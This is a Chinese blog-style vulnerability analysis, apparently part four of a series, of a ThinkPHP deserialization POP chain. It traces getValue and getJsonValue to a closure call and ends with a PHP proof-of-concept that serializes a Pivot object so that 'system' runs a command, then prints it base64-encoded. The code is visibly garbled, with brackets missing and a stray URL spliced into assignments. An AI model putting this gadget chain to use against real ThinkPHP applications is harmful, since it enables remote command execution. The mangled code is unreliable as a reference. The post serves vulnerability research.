PHP|Thinkphp最新版本漏洞分析( 四 )

进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断， $this->withAttr和$this->json都可控，可顺利进入getJsonValue方法。protected function getValue(string $name $value $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName $this->get)) {
return $this->get[$fieldName
;

$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName
)) {
if ($relation) {
$value = https://mparticle.uc.cn/api/$this->getRelationValue($relation);

if (in_array($fieldName $this->json) && is_array($this->withAttr[$fieldName
)) {
$value = https://mparticle.uc.cn/api/$this->getJsonValue($fieldName $value);

跟进getJsonValue方法，触发漏洞的点在$closure($value[$key $value)只要令$this->jsonAssoc为True就行。
$closure和$value都可控。

protected function getJsonValue($name $value)
{
if (is_null($value)) {
return $value;

foreach ($this->withAttr[$name
as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key
= $closure($value[$key
$value);

完整POP链条
POC编写<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = https://mparticle.uc.cn/api/[
;
private $exists = false;
protected $table;
private $withAttr = [
;
protected $json = [
;
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = https://mparticle.uc.cn/api/['whoami' => ['dir'

;
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system'

;
$this->json = ['whoami'['whoami'

;
$this->jsonAssoc = True;

namespace think\\model{
use think\\Model;
class Pivot extends Model{

namespace{
echo(base64_encode(serialize(new think\\model\\Pivot(new think\\model\\Pivot()))));

利用